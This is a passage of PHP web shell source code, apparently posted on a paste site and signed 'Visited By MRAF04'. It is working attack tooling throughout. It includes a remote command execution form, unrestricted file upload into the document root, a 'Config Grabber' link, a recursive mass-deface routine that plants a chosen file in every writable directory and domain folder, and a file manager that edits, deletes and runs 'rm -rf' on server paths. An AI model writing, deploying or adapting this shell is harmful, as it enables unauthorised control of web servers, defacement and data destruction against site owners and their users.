- }
- elseif($_GET['do'] == 'tconf') {
- echo "<center>";
- echo "<ul>";
- echo "<li> <a href='?dir=$dir&do=entod'>Config Grabber</a> </li>";
- echo "</ul>";
- echo "</center>";
- }
- elseif($_GET['do'] == 'upload') {
- echo "<center>";
- if($_POST['upload']) {
- if($_POST['tipe_upload'] == 'biasa') {
- if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
- $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
- if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
- if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
- $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- } else {
- $act = "<font color=red>failed to upload file</font>";
- }
- }
- }
- echo "Upload File:
- <form method='post' enctype='multipart/form-data'>
- <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
- <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
- <input type='file' name='ix_file'>
- <input type='submit' value='upload' name='upload'>
- </form>";
- echo $act;
- echo "</center>";
- }
- elseif($_GET['do'] == 'cmd') {
- echo "<form method='post'>
- <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
- <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
- </form>";
- if($_POST['do_cmd']) {
- echo "<pre>".exe($_POST['cmd'])."</pre>";
- }
- }
- elseif($_GET['do'] == 'mass_deface') {
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=lime>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "<center><font color=red>DONE</font> -><font color=red>$dirb/$namafile</font></center>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_domen($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "<center><a href='http://$dirb/$namafile' target='_blank'><font color=red>http://$dirb/$namafile</font></a></center>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } elseif($_POST['tipe_sabun'] == 'murah') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }elseif($_POST['tipe_sabun'] == 'diskon') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_domen($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
- <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<input type='radio' name='tipe_sabun' value='diskon'>domain<br>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Filename:</font><br>
- <input type='text' name='d_file' value='x04.php' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Index File:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>Visited By MRAF04</textarea><br>
- <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
- </form></center>";
- }
- }
- elseif($_GET['act'] == 'newfile') {
- if($_POST['new_save_file']) {
- $newfile = htmlspecialchars($_POST['newfile']);
- $fopen = fopen($newfile, "a+");
- if($fopen) {
- $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- }
- echo $act;
- echo "<form method='post'>
- Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
- <input type='submit' name='new_save_file' value='Submit'>
- </form>";
- } elseif($_GET['act'] == 'newfolder') {
- if($_POST['new_save_folder']) {
- $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
- if(!mkdir($new_folder)) {
- $act = "<font color=red>permission denied</font>";
- } else {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- }
- }
- echo $act;
- echo "<form method='post'>
- Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
- <input type='submit' name='new_save_folder' value='Submit'>
- </form>";
- } elseif($_GET['act'] == 'rename_dir') {
- if($_POST['dir_rename']) {
- $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
- if($dir_rename) {
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "<form method='post'>
- <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
- <input type='submit' name='dir_rename' value='rename'>
- </form>";
- } elseif($_GET['act'] == 'delete_dir') {
- if(is_dir($dir)) {
- if(is_writable($dir)) {
- @rmdir($dir);
- @exe("rm -rf $dir");
- @exe("rmdir /s /q $dir");
- $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
- } else {
- $act = "<font color=red>could not remove ".basename($dir)."</font>";
- }
- }
- echo $act;
- } elseif($_GET['act'] == 'view') {
- echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
- echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
- } elseif($_GET['act'] == 'edit') {
- if($_POST['save']) {
- $save = file_put_contents($_GET['file'], $_POST['src']);
- if($save) {
- $act = "<font color=lime>Saved!</font>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
- echo "<form method='post'>
- <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
- <input type='submit' value='Save' name='save' style='width: 500px;'>
- </form>";
- } elseif($_GET['act'] == 'rename') {
- if($_POST['do_rename']) {
- $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
- if($rename) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo "".$act."<br>";
- }
- echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
- echo "<form method='post'>
- <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
- <input type='submit' name='do_rename' value='rename'>
- </form>";
- } elseif($_GET['act'] == 'delete') {
- $delete = unlink($_GET['file']);
- if($delete) {
- $act = "<script>window.location='?dir=".$dir."';</script>";
- } else {
- $act = "<font color=red>permission denied</font>";
- }
- echo $act;
- } else {
- if(is_dir($dir) === true) {
- if(!is_readable($dir)) {
- echo "<font color=red>can't open directory. ( not readable )</font>";
- } else {
- echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr>
- <th class="th_home"><center>Name</center></th>
- <th class="th_home"><center>Type</center></th>
- <th class="th_home"><center>Size</center></th>
- <th class="th_home"><center>Last Modified</center></th>
- <th class="th_home"><center>Owner/Group</center></th>
- <th class="th_home"><center>Permission</center></th>
- <th class="th_home"><center>Action</center></th>
- </tr>';
- $scandir = scandir($dir);
- foreach($scandir as $dirx) {
- $dtype = filetype("$dir/$dirx");
- $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
- if(function_exists('posix_getpwuid')) {
- $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
- $downer = $downer['name'];
- } else {
- //$downer = $uid;
- $downer = fileowner("$dir/$dirx");
- }
- if(function_exists('posix_getgrgid')) {
- $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
- $dgrp = $dgrp['name'];
- } else {
- $dgrp = filegroup("$dir/$dirx");
- }
- if(!is_dir("$dir/$dirx")) continue;
- if($dirx === '..') {
- $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
- } elseif($dirx === '.') {
- $href = "<a href='?dir=$dir'>$dirx</a>";
- } else {
- $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
- }
- if($dirx === '.' || $dirx === '..') {
- $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
- } else {
- $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
- }
- echo "<tr>";
- echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
- echo "<td class='td_home'><center>$dtype</center></td>";
- echo "<td class='td_home'><center>-</center></th></td>";
- echo "<td class='td_home'><center>$dtime</center></td>";
- echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
- echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
- echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
- echo "</tr>";
- }
- }
- } else {
- echo "<font color=red>can't open directory.</font>";
- }
- foreach($scandir as $file) {
- $ftype = filetype("$dir/$file");
- $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
- $size = filesize("$dir/$file")/1024;
- $size = round($size,3);
- if(function_exists('posix_getpwuid')) {
- $fowner = @posix_getpwuid(fileowner("$dir/$file"));
- $fowner = $fowner['name'];
- } else {
- //$downer = $uid;
- $fowner = fileowner("$dir/$file");
- }
- if(function_exists('posix_getgrgid')) {
- $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
- $fgrp = $fgrp['name'];
- } else {
- $fgrp = filegroup("$dir/$file");
- }
- if($size > 1024) {
- $size = round($size/1024,2). 'MB';
- } else {
- $size = $size. 'KB';
- }
- if(!is_file("$dir/$file")) continue;
- echo "<tr>";
- echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
- echo "<td class='td_home'><center>$ftype</center></td>";
- echo "<td class='td_home'><center>$size</center></td>";
- echo "<td class='td_home'><center>$ftime</center></td>";
- echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
- echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
- echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
- echo "</tr>";
- }
- echo "</table>";
- if(!is_readable($dir)) {
- //
- } else {
- echo"<br>";
- }
- }
- ?>
- </center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:right;">
- </html>
Add Comment
Please, Sign In to add comment